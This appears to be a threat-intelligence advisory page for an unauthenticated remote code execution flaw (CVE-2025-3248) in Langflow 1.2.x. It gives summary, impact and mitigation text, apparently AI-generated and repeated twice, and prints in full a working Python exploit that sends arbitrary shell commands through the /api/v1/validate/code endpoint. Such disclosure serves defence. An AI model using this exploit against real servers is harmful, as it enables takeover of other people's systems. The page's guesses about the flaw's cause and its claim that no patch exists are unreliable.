Langflow 1.2.x - Remote Code Execution (RCE)
Langflow 1.2.x - Remote Code Execution (RCE)
AI Analysis
Technical Summary
Langflow version 1.2.x is affected by a critical Remote Code Execution (RCE) vulnerability. RCE vulnerabilities allow an attacker to execute arbitrary code on the target system remotely, without requiring physical access or prior authentication. In this case, the vulnerability affects Langflow, a web-based application or service, as indicated by the tags 'remote', 'web', and 'rce'. The exploit is publicly known and documented in Exploit-DB under ID 52364, with exploit code available written in Python. Although no specific affected versions are listed beyond 1.2.x, the presence of exploit code suggests that the vulnerability is practical and can be weaponized by attackers. The lack of patch links implies that either a patch is not yet available or not publicly disclosed at the time of this report. The vulnerability likely arises from improper input validation or unsafe deserialization, common causes of RCE in web applications, allowing attackers to inject and execute malicious payloads remotely. Since Langflow is a web-facing service, exploitation can be triggered over the network, increasing the attack surface and risk.
Potential Impact
For European organizations using Langflow 1.2.x, this RCE vulnerability poses a severe risk. Successful exploitation can lead to full system compromise, including data theft, service disruption, lateral movement within internal networks, and deployment of ransomware or other malware. Confidentiality, integrity, and availability of critical systems and data can be severely impacted. Given the critical severity and remote exploitation vector, attackers can target organizations without prior access or user interaction, increasing the likelihood of widespread attacks. Organizations in sectors such as finance, healthcare, government, and critical infrastructure are particularly at risk due to the sensitive nature of their data and services. Additionally, the lack of a patch and the availability of exploit code lowers the barrier for attackers, potentially leading to rapid exploitation campaigns targeting European entities.
Mitigation Recommendations
Organizations should immediately identify any deployments of Langflow version 1.2.x within their environment. Until an official patch is released, apply the following mitigations: 1) Restrict network access to Langflow instances using firewalls or network segmentation to limit exposure to trusted users only. 2) Employ Web Application Firewalls (WAFs) with custom rules to detect and block suspicious payloads targeting RCE vectors. 3) Monitor logs and network traffic for unusual activity indicative of exploitation attempts. 4) If feasible, disable or isolate vulnerable Langflow instances temporarily. 5) Engage with Langflow developers or vendor channels to obtain patches or security advisories. 6) Conduct thorough code reviews and security testing on Langflow deployments to identify and remediate unsafe code patterns. 7) Implement strict input validation and sanitization as a long-term fix once source code access is available. These steps go beyond generic advice by focusing on immediate containment, detection, and vendor engagement.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Poland, Sweden
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: Langflow 1.2.x - Remote Code Execution (RCE) # Date: 2025-07-11 # Exploit Author: Raghad Abdallah Al-syouf # Vendor Homepage: https://github.com/logspace-ai/langflow # Software Link: https://github.com/logspace-ai/langflow/releases # Version: <= 1.2.x # Tested on: Ubuntu / Docker # CVE: CVE-2025-3248 # Description: #Langflow exposes a vulnerable endpoint `/api/v1/validate/code` that improperly evaluates arbitrary Python code via the `exec()` function. An unauthenticated remote attacker can execute arbitrary system commands. # Usage: #python3 cve-2025-3248.py http://target:7860 "id" import requests import argparse import json from urllib.parse import urljoin from colorama import Fore, Style, init import random init(autoreset=True) requests.packages.urllib3.disable_warnings() BANNER_COLORS = [Fore.MAGENTA, Fore.CYAN, Fore.LIGHTBLUE_EX] def show_banner(): print(f"""{Style.BRIGHT}{random.choice(BANNER_COLORS)} ╔════════════════════════════════════════════════════╗ ║ Langflow <= 1.2.x - CVE-2025-3248 ║ ║ Remote Code Execution via exposed API ║ ║ No authentication — triggers exec() call ║ ╚════════════════════════════════════════════════════╝ Author: Raghad Abdallah Al-syouf {Style.RESET_ALL}""") class LangflowRCE: def __init__(self, target_url, timeout=10): self.base_url = target_url.rstrip('/') self.session = requests.Session() self.session.verify = False self.session.headers = { "User-Agent": "Langflow-RCE-Scanner", "Content-Type": "application/json" } self.timeout = timeout def run_payload(self, command): endpoint = urljoin(self.base_url, "/api/v1/validate/code") payload = { "code": ( f"def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{command}\", shell=True))')): pass" ) } print(f"{Fore.YELLOW}[+] Sending crafted payload to: {endpoint}") try: response = self.session.post(endpoint, data=json.dumps(payload), timeout=self.timeout) print(f"{Fore.YELLOW}[+] HTTP {response.status_code}") if response.status_code == 200: try: json_data = response.json() err = json_data.get("function", {}).get("errors", [""])[0] if isinstance(err, str) and err.startswith("b'"): output = err[2:-1].encode().decode("unicode_escape").strip() return output or "[!] No output returned." except Exception as e: return f"[!] Error parsing response: {e}" return "[!] Target may not be vulnerable or is patched." except Exception as e: return f"[!] Request failed: {e}" def main(): parser = argparse.ArgumentParser(description="PoC - CVE-2025-3248 | Langflow <= v1.2.x Unauthenticated RCE") parser.add_argument("url", help="Target URL (e.g., http://localhost:7860)") parser.add_argument("cmd", help="Command to execute remotely (e.g., whoami)") args = parser.parse_args() show_banner() exploit = LangflowRCE(args.url) result = exploit.run_payload(args.cmd) print(f"\n{Fore.GREEN}[+] Command Output:\n{Style.RESET_ALL}{result}") if __name__ == "__main__": main()
Langflow 1.2.x - Remote Code Execution (RCE)
Description
Langflow 1.2.x - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
Langflow version 1.2.x is affected by a critical Remote Code Execution (RCE) vulnerability. RCE vulnerabilities allow an attacker to execute arbitrary code on the target system remotely, without requiring physical access or prior authentication. In this case, the vulnerability affects Langflow, a web-based application or service, as indicated by the tags 'remote', 'web', and 'rce'. The exploit is publicly known and documented in Exploit-DB under ID 52364, with exploit code available written in Python. Although no specific affected versions are listed beyond 1.2.x, the presence of exploit code suggests that the vulnerability is practical and can be weaponized by attackers. The lack of patch links implies that either a patch is not yet available or not publicly disclosed at the time of this report. The vulnerability likely arises from improper input validation or unsafe deserialization, common causes of RCE in web applications, allowing attackers to inject and execute malicious payloads remotely. Since Langflow is a web-facing service, exploitation can be triggered over the network, increasing the attack surface and risk.
Potential Impact
For European organizations using Langflow 1.2.x, this RCE vulnerability poses a severe risk. Successful exploitation can lead to full system compromise, including data theft, service disruption, lateral movement within internal networks, and deployment of ransomware or other malware. Confidentiality, integrity, and availability of critical systems and data can be severely impacted. Given the critical severity and remote exploitation vector, attackers can target organizations without prior access or user interaction, increasing the likelihood of widespread attacks. Organizations in sectors such as finance, healthcare, government, and critical infrastructure are particularly at risk due to the sensitive nature of their data and services. Additionally, the lack of a patch and the availability of exploit code lowers the barrier for attackers, potentially leading to rapid exploitation campaigns targeting European entities.
Mitigation Recommendations
Organizations should immediately identify any deployments of Langflow version 1.2.x within their environment. Until an official patch is released, apply the following mitigations: 1) Restrict network access to Langflow instances using firewalls or network segmentation to limit exposure to trusted users only. 2) Employ Web Application Firewalls (WAFs) with custom rules to detect and block suspicious payloads targeting RCE vectors. 3) Monitor logs and network traffic for unusual activity indicative of exploitation attempts. 4) If feasible, disable or isolate vulnerable Langflow instances temporarily. 5) Engage with Langflow developers or vendor channels to obtain patches or security advisories. 6) Conduct thorough code reviews and security testing on Langflow deployments to identify and remediate unsafe code patterns. 7) Implement strict input validation and sanitization as a long-term fix once source code access is available. These steps go beyond generic advice by focusing on immediate containment, detection, and vendor engagement.
Affected Countries
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Technical Details
- Edb Id
- 52364
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Langflow 1.2.x - Remote Code Execution (RCE)
#!/usr/bin/env python3 # Exploit Title: Langflow 1.2.x - Remote Code Execution (RCE) # Date: 2025-07-11 # Exploit Author: Raghad Abdallah Al-syouf # Vendor Homepage: https://github.com/logspace-ai/langflow # Software Link: https://github.com/logspace-ai/langflow/releases # Version: <= 1.2.x # Tested on: Ubuntu / Docker # CVE: CVE-2025-3248 # Description: #Langflow exposes a vulnerable endpoint `/api/v1/validate/code` that improperly evaluates arbitrary Python code via the `exec()` function. An... (2918 more characters)
Threat ID: 687816daa83201eaacdebc88
Added to database: 7/16/2025, 9:17:14 PM
Last enriched: 7/16/2025, 9:18:50 PM
Last updated: 7/16/2025, 10:29:54 PM
Views: 3
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